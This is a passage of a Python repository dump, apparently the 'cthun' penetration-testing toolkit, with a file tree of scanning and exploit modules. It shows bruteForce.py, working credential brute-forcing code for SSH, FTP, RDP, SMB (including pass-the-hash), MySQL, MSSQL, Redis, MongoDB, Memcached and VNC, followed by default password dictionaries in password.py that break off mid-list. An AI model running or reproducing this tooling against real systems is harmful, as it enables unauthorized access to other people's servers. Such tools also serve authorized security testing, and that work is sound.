├── bruteforce ├── __init__.py ├── bruteForce.py ├── password.py └── rdp_check.py ├── cthun.py ├── cthun_linux.spec ├── cthun_win.spec ├── httpcheck ├── __init__.py ├── httpCheck.py └── wappalyzer │ ├── __init__.py │ ├── app_json.py │ └── wappalyzer.py ├── lib ├── __init__.py ├── __init__.pyc ├── config.py └── config.pyc ├── netbios ├── __init__.py └── netbios.py ├── param.json_example ├── portscan ├── RE_DATA.py ├── __init__.py └── portScan.py ├── readme.md ├── requirement.txt └── vulscan ├── CVE20192729.py ├── __init__.py ├── common.py ├── http_confluence.py ├── http_jboss.py ├── http_struts2.py ├── http_tomcat.py ├── http_weblogic.py ├── smb.py └── vulScan.py /bruteforce/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : __init__.py.py 3 | # @Date : 2019/9/9 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | -------------------------------------------------------------------------------- /bruteforce/bruteForce.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : main.py 3 | # @Date : 2019/9/1 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | 9 | import Queue 10 | import binascii 11 | import json 12 | import threading 13 | import time 14 | from ftplib import FTP 15 | 16 | from bruteforce.password import Password_total 17 | from lib.config import logger, log_success 18 | 19 | SSL_FLAG = True 20 | 21 | try: 22 | import bmemcached 23 | import pymongo 24 | import pymysql 25 | import redis 26 | from pssh.clients import ParallelSSHClient 27 | from impacket.smbconnection import SMBConnection 28 | except Exception as E: 29 | logger.exception(E) 30 | try: 31 | from bruteforce.rdp_check import check_rdp 32 | import psycopg2 33 | except Exception as E: 34 | SSL_FLAG = False 35 | 36 | import gevent 37 | from Crypto.Cipher import DES 38 | from gevent import socket 39 | from gevent.monkey import patch_all 40 | 41 | 42 | class SSH_login(object): 43 | def __init__(self, timeout=1): 44 | self.timeout = timeout 45 | 46 | def login_with_pool(self, ipaddress, port, user_passwd_pair_list, pool_size=10): 47 | for user_passwd_pair in user_passwd_pair_list: 48 | try: 49 | client = ParallelSSHClient(hosts=[ipaddress], port=port, user=user_passwd_pair[0], 50 | password=user_passwd_pair[1], num_retries=0, timeout=self.timeout, 51 | pool_size=pool_size) 52 | output = client.run_command('whoami', timeout=self.timeout) 53 | log_success("SSH", ipaddress, port, user_passwd_pair) 54 | except Exception as E: 55 | logger.debug('AuthenticationException: ssh') 56 | continue 57 | finally: 58 | pass 59 | 60 | def login_with_pool_key(self, ipaddress, port, user_passwd_pair_list, key_file_path_list, pool_size=10): 61 | for key_file_path in key_file_path_list: 62 | for user_passwd_pair in user_passwd_pair_list: 63 | # for user in users: 64 | try: 65 | client = ParallelSSHClient(hosts=[ipaddress], port=port, user=user_passwd_pair[0], 66 | pkey=key_file_path, 67 | num_retries=0, 68 | timeout=self.timeout, 69 | pool_size=pool_size) 70 | output = client.run_command('whoami', timeout=self.timeout) 71 | 72 | log_success("SSH", ipaddress, port, [user_passwd_pair[0], "key: {}".format(key_file_path)]) 73 | except Exception as E: 74 | logger.debug('AuthenticationException: ssh') 75 | continue 76 | finally: 77 | pass 78 | 79 | 80 | class FTP_login(object): 81 | def __init__(self, timeout=1): 82 | self.timeout = timeout 83 | 84 | def login(self, ipaddress, port, user_passwd_pair_list): 85 | fp = FTP(timeout=self.timeout) 86 | 87 | for user_passwd_pair in user_passwd_pair_list: 88 | try: 89 | banner = fp.connect(ipaddress, int(port)) 90 | except Exception as E: 91 | logger.debug('ConnectException: %s' % E) 92 | return 93 | try: 94 | resp = fp.sendcmd('USER ' + user_passwd_pair[0]) 95 | resp = fp.sendcmd('PASS ' + user_passwd_pair[1]) 96 | resp = fp.sendcmd('PWD') 97 | log_success("FTP", ipaddress, port, user_passwd_pair) 98 | except Exception as E: 99 | logger.debug('AuthenticationException: %s' % E) 100 | continue 101 | finally: 102 | fp.close() 103 | 104 | 105 | class RDP_login(object): 106 | def __init__(self, timeout=1): 107 | self.timeout = timeout 108 | 109 | def login(self, ipaddress, port, user_passwd_pair_list): 110 | for user_passwd_pair in user_passwd_pair_list: 111 | try: 112 | flag = check_rdp(ipaddress, port, user_passwd_pair[0], user_passwd_pair[1], "", timeout=self.timeout) 113 | if flag: 114 | log_success("RDP", ipaddress, port, user_passwd_pair) 115 | except Exception as E: 116 | logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 117 | return 118 | 119 | 120 | class SMB_login(object): 121 | def __init__(self, timeout=1): 122 | self.timeout = timeout 123 | 124 | def login(self, ipaddress, port, user_passwd_pair_list): 125 | for user_passwd_pair in user_passwd_pair_list: 126 | try: 127 | fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) 128 | except Exception as E: 129 | logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 130 | return 131 | try: 132 | if "\\" in user_passwd_pair[0]: 133 | domain = user_passwd_pair[0].split("\\")[0] 134 | username = user_passwd_pair[0].split("\\")[1] 135 | else: 136 | domain = "" 137 | username = user_passwd_pair[0] 138 | 139 | if fp.login(username, user_passwd_pair[1], domain=domain): 140 | if fp.isGuestSession() == 0: 141 | if domain == "": 142 | log_success("SMB", ipaddress, port, user_passwd_pair) 143 | else: 144 | log_success("SMB", ipaddress, port, 145 | ["{}\\{}".format(domain, username), user_passwd_pair[1]]) 146 | 147 | except Exception as E: 148 | logger.debug('AuthenticationException: %s' % E) 149 | finally: 150 | fp.getSMBServer().get_socket().close() 151 | 152 | def login_with_hash(self, ipaddress, port, hashes): 153 | 154 | user_hash_pair_list = [] 155 | for hash in hashes: 156 | user_hash_pair_list.append(hash.strip().split(",")) 157 | 158 | for user_hash_pair in user_hash_pair_list: 159 | try: 160 | fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) 161 | except Exception as E: 162 | logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 163 | return 164 | try: 165 | if fp.login(user_hash_pair[1], "", 166 | domain=user_hash_pair[0], 167 | lmhash=user_hash_pair[2].split(":")[0], 168 | nthash=user_hash_pair[2].split(":")[1]): 169 | if fp.isGuestSession() == 0: 170 | log_success("SMB", ipaddress, port, [ 171 | "{}/{}".format(user_hash_pair[0], user_hash_pair[1]), 172 | user_hash_pair[2] 173 | ]) 174 | 175 | except Exception as E: 176 | logger.debug('AuthenticationException: %s' % E) 177 | finally: 178 | fp.getSMBServer().get_socket().close() 179 | 180 | 181 | # class Oracle_login(object): 182 | # def __init__(self): 183 | # pass 184 | # 185 | # def login(self, ipaddress, port, user_passwd_pair_list): 186 | # for user_passwd_pair in user_passwd_pair_list: 187 | # try: 188 | # try: 189 | # sid = user_passwd_pair[2] 190 | # except Exception as E: 191 | # sid = "orcl" 192 | # dsn = cx_Oracle.makedsn(host=ipaddress, port=port, sid=sid) 193 | # fp = cx_Oracle.connect(user_passwd_pair[0], user_passwd_pair[1], dsn) 194 | # log_success("Oracle", ipaddress, port, user_passwd_pair) 195 | # except Exception as E: 196 | # logger.debug('AuthenticationException: %s' % E) 197 | # continue 198 | # finally: 199 | # pass 200 | 201 | 202 | class MySQL_login(object): 203 | def __init__(self, timeout=1): 204 | self.timeout = timeout 205 | 206 | def login(self, ipaddress, port, user_passwd_pair_list): 207 | for user_passwd_pair in user_passwd_pair_list: 208 | try: 209 | fp = pymysql.connect(host=ipaddress, port=int(port), user=user_passwd_pair[0], 210 | passwd=user_passwd_pair[1], connect_timeout=self.timeout) 211 | fp.get_server_info() 212 | log_success("MYSQL", ipaddress, port, user_passwd_pair) 213 | except Exception as E: 214 | logger.debug('AuthenticationException: %s' % E) 215 | continue 216 | finally: 217 | pass 218 | 219 | 220 | class MSSQL_login(object): 221 | def __init__(self, timeout=1): 222 | self.timeout = timeout 223 | 224 | def login(self, ipaddress, port, user_passwd_pair_list): 225 | for user_passwd_pair in user_passwd_pair_list: 226 | husername = binascii.b2a_hex(user_passwd_pair[0]) 227 | lusername = len(user_passwd_pair[0]) 228 | lpassword = len(user_passwd_pair[1]) 229 | hpwd = binascii.b2a_hex(user_passwd_pair[1]) 230 | address = binascii.b2a_hex(ipaddress) + '3a' + binascii.b2a_hex(str(port)) 231 | data = '0200020000000000123456789000000000000000000000000000000000000000000000000000ZZ5440000000000000000000000000000000000000000000000000000000000X3360000000000000000000000000000000000000000000000000000000000Y373933340000000000000000000000000000000000000000000000000000040301060a09010000000002000000000070796d7373716c000000000000000000000000000000000000000000000007123456789000000000000000000000000000000000000000000000000000ZZ3360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Y0402000044422d4c6962726172790a00000000000d1175735f656e676c69736800000000000000000000000000000201004c000000000000000000000a000000000000000000000000000069736f5f31000000000000000000000000000000000000000000000000000501353132000000030000000000000000' 232 | data1 = data.replace(data[16:16 + len(address)], address) 233 | data2 = data1.replace(data1[78:78 + len(husername)], husername) 234 | data3 = data2.replace(data2[140:140 + len(hpwd)], hpwd) 235 | if lusername >= 16: 236 | data4 = data3.replace('0X', str(hex(lusername)).replace('0x', '')) 237 | else: 238 | data4 = data3.replace('X', str(hex(lusername)).replace('0x', '')) 239 | if lpassword >= 16: 240 | data5 = data4.replace('0Y', str(hex(lpassword)).replace('0x', '')) 241 | else: 242 | data5 = data4.replace('Y', str(hex(lpassword)).replace('0x', '')) 243 | hladd = hex(len(ipaddress) + len(str(port)) + 1).replace('0x', '') 244 | data6 = data5.replace('ZZ', str(hladd)) 245 | data7 = binascii.a2b_hex(data6) 246 | 247 | try: 248 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 249 | s.settimeout(self.timeout) 250 | s.connect((ipaddress, port)) 251 | except Exception as E: 252 | logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 253 | return 254 | 255 | try: 256 | s.send(data7) 257 | if 'master' in s.recv(1024): 258 | log_success("MSSQL", ipaddress, port, user_passwd_pair) 259 | else: 260 | logger.debug('AuthenticationFailed') 261 | except Exception as E: 262 | logger.debug('AuthenticationException: %s' % E) 263 | continue 264 | 265 | 266 | # class PostgreSQL_login(object): 267 | # def __init__(self, timeout=1): 268 | # self.timeout = timeout 269 | # 270 | # def login(self, ipaddress, port, user_passwd_pair_list): 271 | # 272 | # for user_passwd_pair in user_passwd_pair_list: 273 | # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 274 | # try: 275 | # s.settimeout(self.timeout) 276 | # s.connect((ipaddress, port)) 277 | # except Exception as E: 278 | # logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 279 | # return 280 | # finally: 281 | # s.close() 282 | # try: 283 | # conn = psycopg2.connect(host=ipaddress, 284 | # port=int(port), 285 | # user=user_passwd_pair[0], 286 | # password=user_passwd_pair[1], 287 | # connect_timeout=self.timeout 288 | # ) 289 | # 290 | # log_success("PostgreSQL", ipaddress, port, user_passwd_pair) 291 | # conn.close() 292 | # except Exception as E: 293 | # logger.debug('AuthenticationException: %s' % E) 294 | # continue 295 | # finally: 296 | # pass 297 | 298 | 299 | class Redis_login(object): 300 | def __init__(self, timeout=1): 301 | self.timeout = timeout 302 | 303 | def login(self, ipaddress, port, user_passwd_pair_list): 304 | for user_passwd_pair in user_passwd_pair_list: 305 | try: 306 | r = redis.Redis(host=ipaddress, port=port, db=0, socket_connect_timeout=self.timeout) 307 | except Exception as E: 308 | logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 309 | return 310 | 311 | try: 312 | id = r.execute_command("AUTH {}".format(user_passwd_pair[1])) 313 | log_success("Redis", ipaddress, port, user_passwd_pair) 314 | return 315 | except Exception as E: 316 | logger.debug('AuthenticationException: %s' % E) 317 | continue 318 | finally: 319 | pass 320 | 321 | 322 | class MongoDB_login(object): 323 | def __init__(self, timeout=1): 324 | self.timeout = timeout 325 | 326 | def login(self, ipaddress, port, user_passwd_pair_list): 327 | try: 328 | conn = pymongo.MongoClient(ipaddress, port) 329 | dbname = conn.list_database_names() 330 | log_success("MongoDB", ipaddress, port, None) 331 | conn.close() 332 | return 333 | except Exception as E: 334 | logger.debug(E) 335 | finally: 336 | pass 337 | for user_passwd_pair in user_passwd_pair_list: 338 | try: 339 | client = pymongo.MongoClient( 340 | host=ipaddress, 341 | port=port, 342 | maxIdleTimeMS=int(self.timeout * 1000), 343 | socketTimeoutMS=int(self.timeout * 1000), 344 | connectTimeoutMS=int(self.timeout * 1000), 345 | serverSelectionTimeoutMS=int(self.timeout * 1000), 346 | waitQueueTimeoutMS=int(self.timeout * 1000), 347 | wTimeoutMS=int(self.timeout * 1000), 348 | socketKeepAlive=False, 349 | connect=False 350 | ) 351 | except Exception as E: 352 | logger.exception(E) 353 | logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) 354 | return 355 | try: 356 | db = client.admin 357 | db.authenticate(user_passwd_pair[0], user_passwd_pair[1]) 358 | log_success("MongoDB", ipaddress, port, user_passwd_pair) 359 | except Exception as E: 360 | logger.debug('AuthenticationException: %s' % E) 361 | continue 362 | finally: 363 | client.close() 364 | pass 365 | 366 | 367 | class Memcached_login(object): 368 | def __init__(self, timeout=1): 369 | self.timeout = timeout 370 | 371 | def login(self, ipaddress, port, user_passwd_pair_list): 372 | # 检查未授权访问功能 373 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 374 | try: 375 | s.settimeout(self.timeout) 376 | s.connect((ipaddress, port)) 377 | s.send('stats\r\n') 378 | tmp = s.recv(1024) 379 | if 'version' in tmp or b"version" in tmp: 380 | log_success("Memcached", ipaddress, port, None) 381 | return 382 | except Exception as e: 383 | pass 384 | finally: 385 | s.close() 386 | 387 | for user_passwd_pair in user_passwd_pair_list: 388 | try: 389 | client = bmemcached.Client(('{}:{}'.format(ipaddress, port),), 390 | user_passwd_pair[0], 391 | user_passwd_pair[1], 392 | socket_timeout=self.timeout) 393 | status = client.stats() 394 | data = json.dumps(status.get("{}:{}".format(ipaddress, port))) 395 | if 'Auth failure' in data: 396 | continue 397 | elif "version" in data: 398 | log_success("Memcached", ipaddress, port, user_passwd_pair) 399 | else: 400 | return 401 | 402 | except Exception as E: 403 | logger.debug('AuthenticationException: %s' % E) 404 | continue 405 | finally: 406 | pass 407 | 408 | 409 | class VNC_Error(Exception): 410 | pass 411 | 412 | 413 | class VNC(object): 414 | def __init__(self, timeout=1): 415 | self.timeout = timeout 416 | 417 | def connect(self, host, port): 418 | self.fp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 419 | self.fp.settimeout(self.timeout) 420 | self.fp.connect((host, port)) 421 | resp = self.fp.recv(99) # banner 422 | logger.debug('banner: %r' % resp) 423 | self.version = resp[:11] 424 | 425 | if len(resp) > 12: 426 | raise VNC_Error('%s %r' % (self.version, resp[12:])) 427 | 428 | return self.version 429 | 430 | def login(self, password): 431 | logger.debug('Remote version: %r' % self.version) 432 | major, minor = self.version[6], self.version[10] 433 | 434 | if (major, minor) in [('3', '8'), ('4', '1')]: 435 | proto = 'RFB 003.008\n' 436 | 437 | elif (major, minor) == ('3', '7'): 438 | proto = 'RFB 003.007\n' 439 | 440 | else: 441 | proto = 'RFB 003.003\n' 442 | 443 | logger.debug('Client version: %r' % proto[:-1]) 444 | self.fp.sendall(proto) 445 | 446 | time.sleep(0.5) 447 | 448 | resp = self.fp.recv(99) 449 | logger.debug('Security types supported: %r' % resp) 450 | 451 | if major == '4' or (major == '3' and int(minor) >= 7): 452 | code = ord(resp[0:1]) 453 | if code == 0: 454 | raise VNC_Error('Session setup failed: %s' % resp) 455 | 456 | self.fp.sendall(b'\x02') # always use classic VNC authentication 457 | resp = self.fp.recv(99) 458 | 459 | else: # minor == '3': 460 | code = ord(resp[3:4]) 461 | if code != 2: 462 | raise VNC_Error('Session setup failed: %s' % resp) 463 | 464 | resp = resp[-16:] 465 | 466 | if len(resp) != 16: 467 | raise VNC_Error('Unexpected challenge size (No authentication required? Unsupported authentication type?)') 468 | 469 | logger.debug('challenge: %r' % resp) 470 | pw = password.ljust(8, '\x00')[:8] # make sure it is 8 chars long, zero padded 471 | 472 | key = self.gen_key(pw) 473 | logger.debug('key: %r' % key) 474 | 475 | des = DES.new(key, DES.MODE_ECB) 476 | enc = des.encrypt(resp) 477 | 478 | logger.debug('enc: %r' % enc) 479 | self.fp.sendall(enc) 480 | 481 | resp = self.fp.recv(99) 482 | logger.debug('resp: %r' % resp) 483 | 484 | code = ord(resp[3:4]) 485 | mesg = resp[8:] 486 | 487 | if code == 1: 488 | # return code, mesg or 'Authentication failure' 489 | return False 490 | elif code == 0: 491 | # return code, mesg or 'OK' 492 | return True 493 | else: 494 | raise VNC_Error('Unknown response: %r (code: %s)' % (resp, code)) 495 | 496 | def gen_key(self, key): 497 | newkey = [] 498 | for ki in range(len(key)): 499 | bsrc = ord(key[ki]) 500 | btgt = 0 501 | for i in range(8): 502 | if bsrc & (1 << i): 503 | btgt = btgt | (1 << 7 - i) 504 | newkey.append(btgt) 505 | return ''.join(chr(c) for c in newkey) 506 | 507 | 508 | class VNC_login(object): 509 | def __init__(self, timeout=1): 510 | self.timeout = timeout 511 | 512 | def login(self, ipaddress, port, user_passwd_pair_list): 513 | v = VNC(self.timeout) 514 | for user_passwd_pair in user_passwd_pair_list: 515 | try: 516 | version = v.connect(ipaddress, int(port)) 517 | if v.login(user_passwd_pair[1]): 518 | log_success("VNC", ipaddress, port, user_passwd_pair) 519 | return 520 | except Exception as E: 521 | logger.debug('AuthenticationException: %s' % E) 522 | continue 523 | finally: 524 | pass 525 | 526 | 527 | class Runer(object): 528 | def __init__(self, maxThreads): 529 | self.taskQueue = Queue.Queue() 530 | self.maxThreads = maxThreads 531 | 532 | def _run(self): 533 | while self.taskQueue.empty() is not True: 534 | try: 535 | oneTask = self.taskQueue.get(block=False) 536 | func = oneTask[0] 537 | args = oneTask[1] 538 | func(args[0], args[1], args[2]) 539 | except Exception as E: 540 | logger.exception(E) 541 | 542 | def start(self): 543 | threads = [] 544 | for i in range(self.maxThreads): 545 | t = threading.Thread(target=self._run) 546 | t.setDaemon(True) 547 | threads.append(t) 548 | for t in threads: 549 | t.start() 550 | for t in threads: 551 | t.join() 552 | 553 | 554 | def bruteforce_interface(portScan_result_list, 555 | timeout, 556 | default_dict, 557 | proto_list, 558 | pool, 559 | users, 560 | passwords, 561 | hashes, 562 | ssh_keys): 563 | password_total = Password_total() 564 | password_total.init(default_dict, users, passwords) 565 | 566 | # 协程扫描 567 | patch_all() 568 | try: 569 | import gevent_openssl 570 | gevent_openssl.monkey_patch() 571 | from bruteforce.rdp_check import check_rdp 572 | SSL_FLAG = True 573 | except Exception as E: 574 | logger.error("Can not import OpenSSL,RDP pass") 575 | SSL_FLAG = False 576 | 577 | if SSL_FLAG: 578 | rdp_login = RDP_login(timeout) # 1.07500004768 579 | 580 | smb_login = SMB_login(timeout) # 1.08800005913 581 | ssh_login = SSH_login(timeout) # 30.617000103 582 | ftp_login = FTP_login(timeout) # 9.10599994659 583 | mysql_login = MySQL_login(timeout) # 15.7749998569 584 | mssql_login = MSSQL_login(timeout) # 1.04799985886 585 | redis_login = Redis_login(timeout) # 12.3710000515 586 | mongo_login = MongoDB_login(timeout) # 12.9830000401 587 | memcached_login = Memcached_login(timeout) # 2.07899999619 588 | vnc_login = VNC_login(timeout) # 6.06700015068 589 | pool = pool 590 | tasks = [] 591 | for one_portscan_result in portScan_result_list: 592 | service = one_portscan_result.get("service").lower() 593 | ipaddress = one_portscan_result.get("ipaddress") 594 | port = one_portscan_result.get("port") 595 | 596 | # 快的扫描 597 | if SSL_FLAG: 598 | if ("ms-wbt-server" in service or "rdp" in service) and "rdp" in proto_list and SSL_FLAG: 599 | task = pool.spawn(rdp_login.login, ipaddress, port, password_total.RDP_user_passwd_pair_list) 600 | tasks.append(task) 601 | 602 | if "ssh" in service and "ssh" in proto_list: # 原生支持协程,直接扫描 603 | ssh_login.login_with_pool(ipaddress, port, password_total.SSH_user_passwd_pair_list, pool.size) 604 | if len(ssh_keys) > 0: 605 | ssh_login.login_with_pool_key(ipaddress, port, password_total.SSH_user_passwd_pair_list, ssh_keys, 606 | pool.size) 607 | 608 | if "mongodb" in service and "mongodb" in proto_list: 609 | task = pool.spawn(mongo_login.login, ipaddress, port, password_total.MongoDB_user_passwd_pair_list) 610 | tasks.append(task) 611 | if "ftp" in service and "ftp" in proto_list: 612 | task = pool.spawn(ftp_login.login, ipaddress, port, password_total.FTP_user_passwd_pair_list) 613 | tasks.append(task) 614 | if ("microsoft-ds" in service or "smb" in service) and "smb" in proto_list: 615 | task = pool.spawn(smb_login.login, ipaddress, port, password_total.SMB_user_passwd_pair_list) 616 | tasks.append(task) 617 | task = pool.spawn(smb_login.login_with_hash, ipaddress, port, hashes) 618 | tasks.append(task) 619 | if "mysql" in service and "mysql" in proto_list: 620 | task = pool.spawn(mysql_login.login, ipaddress, port, password_total.MYSQL_user_passwd_pair_list) 621 | tasks.append(task) 622 | if "ms-sql-s" in service and "mssql" in proto_list: 623 | task = pool.spawn(mssql_login.login, ipaddress, port, password_total.MSSQL_user_passwd_pair_list) 624 | tasks.append(task) 625 | if "redis" in service and "redis" in proto_list: 626 | task = pool.spawn(redis_login.login, ipaddress, port, password_total.Redis_user_passwd_pair_list) 627 | tasks.append(task) 628 | if "memcached" in service and "memcached" in proto_list: 629 | task = pool.spawn(memcached_login.login, ipaddress, port, password_total.Memcached_user_passwd_pair_list) 630 | tasks.append(task) 631 | if "vnc" in service and "vnc" in proto_list: 632 | task = pool.spawn(vnc_login.login, ipaddress, port, password_total.VNC_user_passwd_pair_list) 633 | tasks.append(task) 634 | gevent.joinall(tasks) 635 | -------------------------------------------------------------------------------- /bruteforce/password.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @File : password.py 3 | # @Date : 2019/9/3 4 | # @Desc : 5 | # @license : Copyright(C), funnywolf 6 | # @Author: funnywolf 7 | # @Contact : github.com/FunnyWolf 8 | 9 | from lib.config import logger 10 | 11 | 12 | # 处理用户输入的用户名/密码 13 | 14 | 15 | class Password_total(object): 16 | def __init__(self): 17 | 18 | self.password_dict = { 19 | "FTP": { 20 | "user": ["anonymous", "administrator", "ftp", "test", "admin", "web"], 21 | "password": ["", "{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", "{user}@123", 22 | "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", "{user}#12345", 23 | "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", 24 | "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 25 | "{user}@2017", "{user}@2016", "{user}@2015", "Passw0rd", "admin123", "admin888", 26 | "administrator", "administrator123", "ftp", "ftppass", "123456", "password", "12345", 27 | "1234", "root", "123", "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", 28 | "123qaz", "0000", "oracle", "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", 29 | "abc123", "okmnji", "test123", "123456789", "q1w2e3r4", "user", "mysql", "web"], 30 | }, 31 | "MongoDB": { 32 | "user": ["admin", "test", "system", "web"], 33 | "password": ["", "admin", "mongodb", "{user}", "{user}123", "{user}1234", 34 | "{user}123456", "{user}12345", "{user}@123", "{user}@123456", "{user}@12345", 35 | "{user}#123", "{user}#123456", "{user}#12345", "{user}_123", "{user}_123456", 36 | "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", "{user}~!@", 37 | "{user}!@#123", "Passw0rd", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 38 | "{user}@2017", "{user}@2016", "{user}@2015", "admin123", "admin888", "administrator", 39 | "administrator123", "mongodb123", "mongodbpass", "123456", "password", "12345", "1234", 40 | "root", "123", "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", "123qaz", 41 | "0000", "oracle", "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", 42 | "abc123", "okmnji", "test123", "123456789", "q1w2e3r4", "user", "web", ""], 43 | }, 44 | "MSSQL": { 45 | "user": ["sa"], 46 | "password": ["admin", "{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", 47 | "{user}@123", "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", 48 | "{user}#12345", "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", 49 | "{user}!@#$", "{user}!@#", "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", 50 | "{user}2016", "{user}2015", "{user}@2017", "{user}@2016", "{user}@2015", "Passw0rd", 51 | "qweasdzxc", "admin123", "admin888", "administrator", "administrator123", "sa123", 52 | "ftp", "ftppass", "123456", "password", "12345", "1234", "sa", "123", "qwerty", 53 | "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", "123qaz", "0000", "oracle", 54 | "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", "abc123", "okmnji", 55 | "test123", "123456789", "q1w2e3r4", "sqlpass", "sql123", "sqlserver", "web"], 56 | }, 57 | "MYSQL": { 58 | "user": ["root"], 59 | "password": ["", "{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", 60 | "{user}@123", "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", 61 | "{user}#12345", "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", 62 | "{user}!@#$", "{user}!@#", "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", 63 | "{user}2016", "{user}2015", "{user}@2017", "{user}@2016", "{user}@2015", "qweasdzxc", 64 | "Passw0rd", "admin123", "admin888", "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", 65 | "123qwe", "123qaz", "123456qwerty", "password123", "1q2w3e", "okmnji", "test123", 66 | "test12345", "test123456", "q1w2e3r4", "mysql", "web", "%username%", "%null%", "123", 67 | "1234", "12345", "123456", "admin", "pass", "password", "!null!", "!user!", "1234567", 68 | "7654321", "abc123", "111111", "123321", "123123", "12345678", "123456789", "000000", 69 | "888888", "654321", "987654321", "147258369", "123asd", "qwer123", "P@ssw0rd", 70 | "root3306", "Q1W2E3b3"], 71 | }, 72 | "Memcached": { 73 | "user": ["admin", "test", "root", "web"], 74 | "password": ["", "Passw0rd", "admin", "{user}", "{user}123", "{user}1234", "{user}123456", 75 | "{user}12345", "{user}@123", "{user}@123456", "{user}@12345", "{user}#123", 76 | "{user}#123456", "{user}#12345", "{user}_123", "{user}_123456", "{user}_12345", 77 | "{user}123!@#", "{user}!@#$", "{user}!@#", "{user}~!@", "{user}!@#123", 78 | "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", "{user}@2017", "{user}@2016", 79 | "{user}@2015", "admin123", "admin888", "administrator", "administrator123", 80 | "root123", "123456", "password", "12345", "1234", "root", "123", "qwerty", "test", 81 | "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", "123qaz", "0000", "oracle", "1234567", 82 | "123456qwerty", "password123", "12345678", "1q2w3e", "abc123", "okmnji", "test123", 83 | "123456789", "q1w2e3r4", "user", "web", ""], 84 | }, 85 | "PostgreSQL": { 86 | "user": ["postgres", "test", "admin", "web"], 87 | "password": ["admin", "Passw0rd", "postgres", "{user}", "{user}123", "{user}1234", 88 | "{user}123456", "{user}12345", "{user}@123", "{user}@123456", "{user}@12345", 89 | "{user}#123", "{user}#123456", "{user}#12345", "{user}_123", "{user}_123456", 90 | "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", "{user}~!@", 91 | "{user}!@#123", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 92 | "{user}@2017", "{user}@2016", "{user}@2015", "admin123", "admin888", 93 | "administrator", "administrator123", "root123", "ftp", "ftppass", "123456", 94 | "password", "12345", "1234", "root", "123", "qwerty", "test", "1q2w3e4r", 95 | "1qaz2wsx", "qazwsx", "123qwe", "123qaz", "0000", "oracle", "1234567", 96 | "123456qwerty", "password123", "12345678", "1q2w3e", "abc123", "okmnji", "test123", 97 | "123456789", "q1w2e3r4", "user", "web"], 98 | }, 99 | "RDP": { 100 | "user": ["administrator", "admin", "test", "user", "manager", "webadmin", "guest", "db2admin"], 101 | "password": ["{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", "{user}@123", 102 | "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", "{user}#12345", 103 | "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", "{user}!@#$", "{user}!@#", 104 | "{user}~!@", "{user}!@#123", "qweasdzxc", "{user}2017", "{user}2016", "{user}2015", 105 | "{user}@2017", "{user}@2016", "{user}@2015", "Passw0rd", "admin123!@#", "admin", 106 | "admin123", "admin@123", "admin#123", "123456", "password", "12345", "1234", "root", "123", 107 | "qwerty", "test", "1q2w3e4r", "1qaz2wsx", "qazwsx", "123qwe", "123qaz", "0000", "oracle", 108 | "1234567", "123456qwerty", "password123", "12345678", "1q2w3e", "abc123", "okmnji", 109 | "test123", "123456789", "postgres", "q1w2e3r4", "redhat", "user", "mysql", "apache"], 110 | }, 111 | "Redis": { 112 | "user": [""], 113 | "password": ["Passw0rd", "admin", "{user}", "{user}123", "{user}1234", "{user}123456", "{user}12345", 114 | "{user}@123", "{user}@123456", "{user}@12345", "{user}#123", "{user}#123456", 115 | "{user}#12345", "{user}_123", "{user}_123456", "{user}_12345", "{user}123!@#", 116 | "{user}!@#$", "{user}!@#", "{user}~!@", 